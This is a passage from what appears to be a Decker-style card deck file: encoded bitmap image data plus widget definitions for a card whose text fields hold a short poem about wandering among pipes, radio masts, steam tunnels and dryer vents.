2ztttttt/+5ze5tvM3MuXnfa1cnnOXJue3////////////2ZzttrJtmTtZu5qZvXZ25tnZ2a4u9ra1dS9/fb9m3W222//ya3nZptpt7O52ezNt1+Wc6e65N////9///////+7NWurb5m3Ldmbm7sbTlrs3Ozez5rXbp0/tlZmze23bb/5JP7te3n7bnM7Nm5nOczM57m5zTt/////////////qc1qbXJvm7M7c3Wb2nPaZ5ubmdpttWnt403Xm25tu/2kn/82217fJpuczNezmdttszmObnXOn///////////727bndWd6Wrezm1mZme9N5prc20z5zufM115uftz/syW/+bb23bW0uz07e/ZnPtOc3fc9ss21P/////////////WdtWc5ltsybWtm+28zeW77M1nvTrO83bdtu7vnZN39tt7Nttt93tvZ2sybm8m855cxzO5zLdf////////////mZT2a2uc1z21tvmZp2ac7Lbtus3a8mzds7f2tO39tm2pm+222znNWZtbdzPjvLblyztsttu53///////////72+3K2s655tmbtMmdtm69yebNs5zVzuft/7bG59uTbu7buzbbbbvd5u7Zs3cnM2cubts3c5zTn/////////////Sba221nNq26p932bes036bdt1vvXP9szM2u1rc/bNrttvdtu3ttrubOzs13dza56015NpnXOf////////////ncz1nNWc7ba7jNmbM225m+ZrN62/dNnbN27t7N029uu3c2223b36ac+bNzXZnutmz5l7O8223///////////721zVmtt7Z1lzbM2+23NttZbve73a3bbN/Npmred2zba7Z27bffvZ7dyd7Psnuac62pubNZzmn////3////////mX1vrOytzXXV/1pnMtmZ33/bbWZmbNuydt3bbZtvbdtvtt/9s23zdO9Tcr7M59rs756fW3Nu////3v///////m8msncrubbZWyNnOt7ff+bTKmc727ebbtt23bPts2222f+ybb3bTZs07VzLt2yeZ1Lm5OZZmn///99N//3///3m653Tumazn2rc7dv/5sy5tu+52zrZtmutazbebb22//ZJv7bNtvzv3a3PbLM7ZZtcs2223uf////l3v/9f/+9mZpnOs3ezWTu37/9Izm3NzmZrtTmzm25t03m2bbP/0k3/s229u6nZMt2s3etze35t507Oaa5P/n//bb/9n//+3t2+aznU31/t/aSZ7zec9bOdtq3nbfbnnP222//ckn/2bb22ztr7Z17VvbTbXY7JuZtzM9tm////85t//u//9pOZ5tnOn238zUy9trXZ8zZ7tZzu3Z02ufMu/+2Sb/+tm7XNtvPe1r3VtmcvNtTyt5b63fZc2Z//Nf3n//7v/735blm29/tlpzZz22ac2k+bzO5razb2275/60k2/7Nls222dtt9Z3bM7a7a62zvXtz2TZTNpz9//df3bb//P//9L2d/f7VrPLXztlNt5ze47Ldb71nqztvvmtt/2yzdPd7t27bbT3nbcy5rmtnPK2dmzdn3Obtk3/5b81t//Z//f7b9xcmdbNu2TZ3tmznlt221czTe2/tsye7dpm3nbdtstm27bfOfbb/z2e9ds7m5Ozm2TbbZ21//zd3bf/7///bVmzy2azfLa71tPPLbXNdbba3f9103bz5ltbm2227Wt7e2zba89uzJNnZptnm2ztnmt3nOZpt//TXXZ7////8ydWtrt+uyelrm55de1tts22/+2TVnbNnnvbbftruzdttttvbez9uzd22e3qdOZtvOns2ba77tn/92973//R//757M20yczs7c2rjzVtzvb//aU2fdus7W2bNu0tus3btt222223ttv23N45b57tszNvN55nmTZu/+3/2zf/3v/3nK95Z7dttppzufbbW3vdkk2918zbbzdr5ua25s722tttttu2227czM2z1zTrO7bPWdlm2W9nt//tNLb7/2v/9sezJ1q0tzP3um523/s2bbvbU3lrbXPZunzbm7t2tu7ba222223bZztzbZ3ba2bd7NbPeb9/+bR/85+82/+z//t6bP3az5ndNa/f22St1rNs5nabO22c26eXeu1ttbmtttttttttt3/rdtzra1zczTb2tt/tkZ5tu97tdzf/tv/7a62Sb3lu3d/9sZm+zW22Zz2t5t2a7bZ8807t3btvN2222222222yts2zbm3Xt3Pbv/WWZu5mz7/kzVnv/82/95zt36md9/bIzK7us3a5zbtnu23G82tnz031mzNOzdnbbbbbbbbbvt27b3O29u/+2ylZ6brbubJ3+3e+W/957/bXW22/5pkmezPbM5trpnus2NZ7es2bWbN9nXbu9bbettttttt22s3Nttme/7qYmzXvXm+bNM9739s095f/lm/7d39pZntu+2e+dd1tm3+s579nlm699t57Zmtm2rd25u2222222273Nt3/9skr99bmZOc052dzTL/W21m3/++/3/mk23mZ1pucy2ZnbbTJrZslud2ztltnzbvu21u62ztbbbbbbbu7dv7bJmm/3Ftm25+z3bzbPOe/dc7c7//7v7aO257PZpnk9vObubNvu3N59r1pnWeteTa2m5ttztvbdtttttts7ZvLZvuvMnfMu1tyXNMzus26ba125/v/Gbem6nbls37vPzM8+s7eamZezttnO23ZtZ721vNttnW2bbbbbbbb323teb2a227LN7m2b2222y3nO83/tT0v/+Zs7W+WdTzJssnNzy52Ztvd1rZN2tbrPnbmzdttbbe3bbbbbbbbbNO3fbbN21nbuvZm7bmzPc3nO+/2UrXXZ/++yzmZ2Z7Ntzt23WXJtbm1N3O19lvdtufO23s5nbbZu222222222983ZbO82du1bbN3mubns1//tq0Ntue2dv/k7u29m+z5zbNnnN8/5ufN2mc2zbmazbZeZta5vbbbszbbbbbbbbbb3b3ez587nZnOZm67v/20jNs19ms4y5v/900zlbmbTrZ7OmukzJuZdre7c7bvbPbO09tpt7O2273ttttttttttu23bPLm5m72e9/9ubJNrbZrdrPbt3tt/9t12vZmc263TdvrP+b5fZtszM1zM22bebzbb2zc22zNrbbbbbbbbba222s+ut3rb/2zV2be9m7zts6tNNc1Zv/s225r322zadzUnNk7T2bta3e9XdzbbWdnNrbbZ223drbbbbbbbbbbtu7bzbv/ubmWvNmeZpvTLZzp3edZzbv/52szmmWc2c6zb3fW23a2tbc1s81nm22d2+2013ttt3bbbbbbbbbbbdu7vvdtJmbO2s+287nqfd1rO1M7bW6t//ms3Pe51152tznKdtay252c3M63O22z9myt33Wbc2zN222222222217baa1zfPe829yZs2vO4zW69Z7bOcztf/et82Zm3NnWdzWu5m1r1pt69N69Nptvlu3tmdd7Z7bu2222222227fbd37uzbc2z2xt9s9ac23M5zXrM2a3Nb/5tk3bm5ttdtL1rW3OdnX5ms/W0/btstq2nO51m3ttus222222227s7bWW072nzPNvrl753btde13Oae3e9db//Nu82bmzZyueztmbc52dTtt5c25bbZ5rs/Nuze2a22d222222227bze99z02+Ps5mbPLLTWtts9Zez6s0xzbf/dpszbm7Zrs7Trbtr3na3bbNzttzbZtvW03c7s27tttttttttttt3Paztnt1p8vzvbdOefm1asx50nLtz3nbX/7Pm9uXm27nbPnNuzNOeuZpszNmba267XdzZ2222ttu7tttttttt2e7vu+ztvV5PbW1+6abt1t/j2+9NXmdzW/+svMy2ma5nNebeZrc9s87z3v9vbzs7rOlvu1ZttbbbZtttttttvb7bttprNs9r2bW3Jru5s23MvTZp9cm5nW//3s27mv2z3bZZlbm25mxzNtMlrWnW2duvaa73tt3bbXzbbbbbbbbm23bfu9ty7bbbs+2m3z5tM53nXja+zt23/1NzM28mdlnb33WvbNvbvc297bO7ddZ2dt5qrNtmbbebbbbbbbbbe23bZtbbdp022tzZ7ZPLt31mmdPOs3Nm1//tnt3p283WbLLbabNa2417LZt6zs13p5rT27ttu7bY6222222221ttu3tdbZ3z2zZnNlt6dbPN8767ec1dbNv/rbPMnbZtd62uzt6fbmZ3bOZ2zna7TbnrfbbTbbu232222222223dtu3d7bbtbtvtu+/bbt1csx1mrM19zbtv/7bsd3ZttpmzabTW7OW92Ze72re1tvm9bZZtfbbM22d22222222257tttrO220zszbppbaerZ37t2ee3MzarZ//Wn2dm2bO2dt83abOdrbb22s7szdauxzbz20229225m22222222zrPdu7ebWb3NzbNnzbZO7tK6ztac87zvZv/WeOZm5bNb52zbbtu9ua2s1a1m3tbrnrbTZv22zdtvu222222223beZ7bbdt9t9b29/Pa3tbM7Ztue8z2zWb//+88/Pn23cnNbNq2zLM6zZ13d3Ns7PO7231sttvZtsbttttttttt3d7zt2tzm1jbmzZabbPc97d2zaZ+mb1uz/+71ydOWzZ8c12znbed23ttrVptp62dpmzXb5ts3tt7Nttttttttmdnvb27TOtvbO3Nz7c9azZyZvO9k7szm2v/tNnt22trl77XbeW2bWdrbunPvbs3bX23tbNtt2bbbdtttttttt+9ua7btv9tt29tubTZzW/Nz7s6ze1m2vs7/89umnWt2vbLac0+a+tszbM+9Mba22tVtrt87bd7bbbbbbbbbbbZ7b7rbtazdtmzW273bvOY+bmbbnM7bc6s3/95s7eW7Naqdbs3Y9qbm7bdzZ3bbdrb1trOz7bZm2227bbbbbbbbm7O3e3brZtu3dtuW2s+9y627c29s7t2z9f/ptzs+zc3O7a29t2dtva21nNre21ttntrdOmbbu222zbbbbbbbbez83c7bb3ttts2s827ZmdrzrU1pszMs3Jn/77Oy0217dbOzZm2Z2y22ze+bmbXNzbNrbc+bbbtttvbbbbbbbb1vT229rbWbbWz7b22zdm523m39tr/d62+7//TMzt1zTLbedtvNvrbm23sy7W9m9nbtvbb0+21m222bbbbbbbbXc/Pu92227bdvM3Ndtzfnty3bJt7JZptq5v/2/3ttnveuZs26tua1u21m3bbmeze2tsbbN22zfbbbbbbbbbbbdt6+s5vbbu222d2d1tzZmZnltvbTdzr22p3/2zNNZuqZubm7LbZtzbm1ndc2uZts2257a9tNvs22222222222222zb7s22s22ttt7Xbb3n7u3mabPZzbZp93/+3M9Zs77mevaudtuXtO1vV02b/t21tpu2zb9s22222222222227bfdu97bb229u7m2bZmfNtrPb7ebr1zvl0v/te535zTPc5m7aa5ttdttnN99ktpttn6bfbLb1tttttttttttttts7c17ttm21tpu27b25c1m9um1bOzTZdm7/82bmTu3dm1m227rmzbW7W81lntbttfL9s27bNttttttttttttt227d9zbbe223Pztu2tu15vZm2zedbv1xu7//68u7azZmt/mbbOfbbNZtp7PPN1tt07Ta2zW9tttttttttttvbbd7bZ33bZtttdPNs25s7ZttvNvs7c2W3tmf/mz6z1nnvtku822Zt2+123s9NtnbbXzXNtvezbbbbbbbbbbbbbbtt2723bbttt3c9t2zt257TbNstus12ttm7/9fLbTe2abdzrbbfm2y7ZtazfXetttne+ds2vbbbbbbbbbbbbbe27Xbu7bbbbbbNzbdvbczzfbPbbabdmtrfr//s2c3szzzZvOdm2dqtpttzvbdZua2m2p5t2c222222222222223bdu27u23bbbu3bZs3Z3bZzebdrdtu9rMtv/q3a2m3nXbs7bW21u7327PWbM22btvtPntt92222222222222222223ba22bbbO7bbt2btz3nbbbW2zNpre53/7tO9vNN1zNzOds3M3LNrc3bc7bettm9ObazNttttttttttttttu27dt3227bbdru27d7bnWbbO2d2vdnvbNp//buxtN9nTdnebc2t2ds212m17ts7NnLd7bu9tttttttttttt3ts929u3W22223OmbZszbO17ue2bm83PMbO7//zOXrfZud222eZ9vdt35zbe3bLb1tve7TbMzbbbbbbbbbbbbbPb127d7e22222d3dt27bdvmy7N+utstt7erb/7ddubZs62trc7tmZuZLns1tM/bN3bba7bd3bbbbbbbbbbbbbudvbttns222227Xd23b23abXutma8t7TbVuZ//22s7L52622t20vbrb7O23Nuybc1bTMz23d222222222222227a7t2+e9ttttu9tnbNm2b3ts7edp7ZvbbN7//mut22ztZtrbNZ7W3Obdptdu/ub523e3W2Zm2222222222223bdzbt599ttttszmutu227WbnZs93tr22btmr/+s9Wbba2223N1tm1e53bt3bSebNtt2d1t7u222222222229tt233O3217bbbb3Pbu27tu25vN22nM2tW7Peb//t12821ubZ2fXbW22bzNtqZns+2btm9ntm7tttttttttttttu27WfdbtzbbbbN9tm7Zts23zO3dOt55222Z9v/ndOs2bc9nm7NbNtudrubb72223bLOzOrezNtttttttttttt7bt3+d233bbbbdnbfZt1t22be6t9vZnm1vbl3//M8698522etO2+229azbbW1ttNnfdvdvZvdttttttttttttzdt2m7e9t22223ebZt23bdt72zuZtN+e3mbez/+27Ztlzst5te6zbbNt3e22Ztt9ubXc3c3s3bbbbbbbbbbbbbbbb+3c9722222Z7bu3bbZtmWndbtuZ5svbZrv/za72e3a8znbTvNs9OW0229ttm17OZ2ZzN2bbbbbbbbbbbbb27bl3d97vtttt7m25ttu3tu9u1utu7nt5m223//trNs51t7fOnWe2zdtt2ttbbebW87t7vtt7bbbbbbbbbb223be33/97+22222+2ztra2bbttua7bOubZu27Z/+t2c21ndM02+3bNfbW1tts7bM9tz27Tavbm222222222227228//tNzTbbbbbZtvbbbt7bNbc7tts7bb7ts3//5rb5t+Z83tlubN027bbdr7be22nNzfbabO222222222227n/78yt9v3u22223ts3bbbm297Z22bb22zLNt2b/9runtp7p9s3M7fb2zttZulbWtNu9nabd7dttttttttt3///M2t3tru3u22222bb2bbbO2za3t17Ztbbe3Nd7/+7S2bbm21l7d2bZm3W23s/bed9tpu27a23dttttttv/3kkzd27dt7u23dtttt7bN7bbdtvZ2bnm312223N1mf/7dt7bbW7fa1tbL21ttub07Y9rbdtt2262Zttttv//JbP/3bdtttztt7dttttm29m223ds327Ou2ZrbbNvbbb/822zWzms5s3a2+ztu227Nzb2a7Z7dm2227tt//7JJf29tt25t273t3t77bbbe2ze222Zt2a29tt5u229rZtv//27bWzbtzm2bbZzs5bNm23bdbzbrZu2227/9pJLf/2bbbbmzvbrtt3O2zbbbZtvZttt7tt62zdmz9bbZuz22f/trm231tnfd7dtnp529m3bbZ23bbbtt/+2zJv/+2bbbtttu3ubu272/e/bbbbts3tttm7bm23ZvbZ2226zbbb/9ue21nbbZVm2be3t2zftm222123b//kk23ftZbbbW222223be23bt7ds7bbbbb2bbbezbO223tt1rbbbn023//a5ttutbt3OzbZpa23Ztu227t3/bTJP/222bZ1tu223bbbdts3e3b23v7bbbbbN7bbZvbdttubW3btttO322f/5u225ubbbdvm3t3tt3rbtv/ttk23P9pm227b3ba2222221u39s7dv/ffbbbbbdm223s23dts7ds7bbbdpm27/72bbZtbVs3Zu2bbNtmf/tskzbb22+Zru222227btttu223bdt3//+m7c27bbbbe222b22Ztt222zZtttvu22//bdm17e3babm27btv/5Sbb/zbbttrbva22222zbdtts223fd//c2Zvbt+7bbbbZttt7Nt7ttt23fb2227M22//0223ba25t7fdv/3bJn37bMn22ztuetbtttttvbZttt3v/++5Jt273t3s7bbbbbtttm9tm7bbm2c21ttpt22v//27ta22z3f91syVbfubTbd+223Nt67bdtttts23tvf/ukmy7/u3u3P3Ow==&#34;&#xA;{widgets}&#xA;field1:{&#34;type&#34;:&#34;field&#34;,&#34;size&#34;:[240,30],&#34;pos&#34;:[15,28],&#34;locked&#34;:1,&#34;border&#34;:0,&#34;value&#34;:{&#34;text&#34;:[&#34;&#34;,&#34;so my new refuge is back in the pipes and wires and radio masts.&#34;],&#34;font&#34;:[&#34;&#34;,&#34;lucx13&#34;],&#34;arg&#34;:[&#34;&#34;,&#34;&#34;]}}&#xA;field2:{&#34;type&#34;:&#34;field&#34;,&#34;size&#34;:[189,30],&#34;pos&#34;:[308,136],&#34;locked&#34;:1,&#34;border&#34;:0,&#34;value&#34;:{&#34;text&#34;:[&#34;&#34;,&#34;i marvel at yellow stripes and steel rails&#34;],&#34;font&#34;:[&#34;&#34;,&#34;lucx13&#34;],&#34;arg&#34;:[&#34;&#34;,&#34;&#34;]}}&#xA;field3:{&#34;type&#34;:&#34;field&#34;,&#34;size&#34;:[138,30],&#34;pos&#34;:[236,211],&#34;locked&#34;:1,&#34;border&#34;:0,&#34;value&#34;:{&#34;text&#34;:[&#34;&#34;,&#34;sacrificial anodes and dryer vents.&#34;],&#34;font&#34;:[&#34;&#34;,&#34;lucx13&#34;],&#34;arg&#34;:[&#34;&#34;,&#34;&#34;]}}&#xA;btn_next:{&#34;type&#34;:&#34;button&#34;,&#34;size&#34;:[60,20],&#34;pos&#34;:[438,313],&#34;script&#34;:&#34;home.0&#34;,&#34;text&#34;:&#34;Next &gt;&#34;}&#xA;btn_prev:{&#34;type&#34;:&#34;button&#34;,&#34;size&#34;:[60,20],&#34;pos&#34;:[16,313],&#34;script&#34;:&#34;card1.0&#34;,&#34;text&#34;:&#34;&lt; Prev.&#34;}&#xA;field4:{&#34;type&#34;:&#34;field&#34;,&#34;size&#34;:[269,58],&#34;pos&#34;:[233,73],&#34;locked&#34;:1,&#34;border&#34;:0,&#34;value&#34;:{&#34;text&#34;:[&#34;&#34;,&#34;no longer content with amber screens and fir trees and antlers, i wander the streets and look for these angels with their dozens of radiating eyes.&#34;],&#34;font&#34;:[&#34;&#34;,&#34;lucx13&#34;],&#34;arg&#34;:[&#34;&#34;,&#34;&#34;]}}&#xA;field5:{&#34;type&#34;:&#34;field&#34;,&#34;size&#34;:[124,30],&#34;pos&#34;:[280,173],&#34;locked&#34;:1,&#34;border&#34;:0,&#34;value&#34;:{&#34;text&#34;:[&#34;&#34;,&#34;steam tunnels and diesel generators&#34;],&#34;font&#34;:[&#34;&#34;,&#34;lucx13&#34;],&#34;arg&#34;:[&#34;&#34;,&#34;&#34;]}}&#xA;&#xA;{card:card8}&#xA;image:&#34;%%IMG0AgABVrJbbfwGc2euctZmZts2mbbMybbNzTa1ms1TSmamZLZ2UzM02ZjNIaZssZczTYzTWmMmbTWbNlsmZlmZnNZNk23vrZz6BZpaay5lszaZzbZmZrsZmWWSZmybWWrJaa2TJazMzY5nZm2yyZrZptmzNmmZszOZtkzJs2zWZqZm2bZlKazT/AWu21mpuZ2ZpmlmybMmZmY020tnZmatmyyzTM2tmZkzNGmaWltOSZimWymm3NmWamTZttmZltrrObZtmrZzbvwM5aWW2i5k7W22WZs52bZtm2W5GTGapTTTGWzYYzMzZZObZktmYbZurMnMmkZM2WbNszZM02maWZsmybLW2zP4AzU85lbLbmZZltZmzM2ZmcpMptOdmZnNW2ZjM1pmZljaUlWzKb0mYzMsdtmzZmaZmSbJZmzNJ1bM2bZuWZrc+A2bZm202Yszlmmm2ZY0y2ZtszTczGZsYyjMmybMzMzOTMzTNLYlaZlTZyMmuZs0zTNstzMttu1mZts2y85mzfkM2tszLGbzmbWtOZpzszSZMZtXJGNmZzqmmbTZJZmZpbM3LM2SzM2bXJmZakyzmWZsyzGZszKZmbMmybMztTP4A2aZmsq2NMzMtc0mzM1m105kyTM7GZLK2zMlmbZmZjMm0amSa1qUZMTY3UtNpMszjZnMzMzNsts5tNs09Nnu8g01pszamZZma0pmbTM1WmTZnKzbktmaTElmbKaZMzNY2JkzNplTNs03RmWZslxs2PM2W2ZmbGZmzNs2zZ5OmfgJmWznNmtnMzNrM5mapZMspWMzTNZmabNszMq2ZZmZTk2mzMmmZWMzWTcmZmbLM05KZMpzMzNZmNZLZNtjs2f4Cs5rOaVs2ZmctZmyzMy1szZbVmRlJmabJpmayUzMzMmlNkzMrKzMskmxsmzMq5Zlms2smZmWzbczbM0ybO1t8QZzm0zZFpTMyxTMZmVazM3KzMyzLZmWZLJmZSmaZmazM0lzNrOamY2uTJmTMzDUtOaaM5zM2aZlrbMzbZstmfQNmbTWW3NmZmnbZ003MzJMaaSpm5jZmUzNkzU2szMyNlppkzJJUrNssmbNmZnOWZMs48zmZmYzTMybbM3TZtfwCazNs2ZMazM2ZjMzmMynMy0zM0jTJmWbMZmSxmWZmcmMpkzJzGZmQsmyZmzMa0tbMzxmSzM02bMzZM2ybNpn+BZmay2sW5mZlmTY2MtKzNMyW1ZslmZmYppszmlMzM0ps5tpLTapmZstmzJmZyTWZMklmZmZm0y2bW2TNi2bOfQW2zLMszLWzNmbTs5pMzLMy5JMpzLZmVrKZmktMmZkzkhhLaSTLJS0skmZkzGcsZzNzNm0zMtmzMmadk3TZZvwCZmc01ZmVOZmmWMjNtyzLMys4zFpkk0kZxMlkpYzMzJvNpJm2VNmpZNmZpmc0yzHNlsmZmZssymak03Z2mzn8hsmzTZZTWUzMuaZOZJGjLMyZZmaTS2yrZmZmWbTmZplkZbTGSTTKmpcmSpsxmZmcTJibSszMpmzZu1pM22bNfgS7OdtqzM5WZpMtszNstqTM1U0y5TJJqZI5MssTMzJmTTJLNM2nKmaxM2ZpmmZkxtLLZOpmZbMzLUstswls1noDJsyyaq0zYzNc0mWbJlKzM0ZRmSzM0yyZiZmmbJmZkrMaSmaySTNJLMyZZMqUznK2bTYtmzVNluZs5a2tmzP8A2zOppmjZS2ZZNMcyLNMmlM5ms0qmZzGbabMMYmMzJmSybTKKnLMmcspppZm1lmbJSTLZNmabNSZpZppttNs/ATZMzmmTJzYzJMtsmbJM0tMpOZkyqZkmUR0ZszaZmZsWM0lmcuWSbZSamiZmTMySVmzMZZEyrJprZkzNlJszfoFl2nNbWbKkzObLIs1LMppaZYlMzJkkzMzEzJMRmMzRs0yamUwlTZEmZMbZkmJjbTKmzZzdmaTLmTbZZXbLbN4BTLMplMjMzZmaNJplTM5lJJZmZmVWZlkqsqZszGZiTIlJppMlmWk2aZUxklubOSWrMjKSRm1nbNWZlzZLbM2/AXMtrLWjNVkzM7TZlLKhTaeZNJMzRNmTMppjJM2TMypsszFks1ImSZkzNmZkmYzSjM2y53LGWTJWZTLTuTWTPkGbZNbLOZMzZkyLJlamOzJYZZNZmLMSZMzJWZMyWZmjRpZNLMlOssyWaYktlOTGWnKZTSyZmZmTZM1qmTbWdn4AmNZTMklszJnJaaVSTcjKUyTKTMyZZkyTJxTZJkzMnJlJkpMsqZkyxMzNkTMmcyZKyk0ypmlm3S2azO3My03+g2abbNzTJUzMNkyZS1kmSZTaaaZmZSmbMmTGTMmmRmSzaTLUpqRNSm2SclpqWRmprGbiyzJmTGTZMpcmSz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/9///f/OZ72+NM5m3w/+kzy/+eTmIySTkiJUmSGTIkkk/3nT9UkkyxshjLEhkyyZJsmR+iM/AMZLMpIQk//vvv77/+t9af/7/Y3N73253lRq/+LQ4eiSSEmUxIZMSEySyf8fI7FKMSKSTGKMmmCTJmSZNu+S/kCTKJJlNur/u/79f///7//ub93nMCW3u2dUj+9/0nFySSTIRCJgkkkRJKI3n6zPIskspNJKZspM0mSZJkn7zL4CaKTMSUGr/////v////f9vzfsdl+7z8zjWCf8UQoU5EkkZkkpGSIlJEmy1b8JTikKQSUTGRBJkxmZk2TJv6H+ggqWIZJMf/+//u8/f/988/W217f29McL/Y4hP5xJs8kkiXEjCQRJkMkSyDH/af6RMllSTMWbMjJkSmSZNq+SfgGyUZokn3//f9//b43+//Z23/edNjWTyiG+m798kmN7JJhxJMTFEEoSRG2/+jf6WkSMSqCyYozMhmJMkyTrcvwAREkCZJP////f+899/+/ds/O+Wad3w/JbOg8995bvshJfJJAyMSZJJJGv+a/2+EjJoyitCIylEbMZkmTJ/zz8gxWKbJJF/////87wn+///X//97edxfAQOMiE3/Jn/3DJAzJLCSSJJIkmb/y3y+XkkiIlE00ksWYYzLMsW52+fgGkMkSTN/3////9vud///N3k/832JHGQhqXsf/lif/EJKPiSEEySSSSSe/5n+v75SSYxVBjMkokxKIMiSDv7XwDKUWUSIn9////v/Pf/+91/z9rj2SHYAwmMSfn1Y/XkxcnsJE0kkSSRJH/71vm67EkhhhNKJMKmTUrYbMsO/D8AklYmUiv/f//79//87//jHqfatz45aiEACnPF9K6fWDBc+4lLHEyEkkkd///f7/mSTGjIklMsZMJSJokxvee+gZHNeomL/1//+///+y3//wvpz5M+lg4kkKLAJ7+v+aMKdjiSYsMCM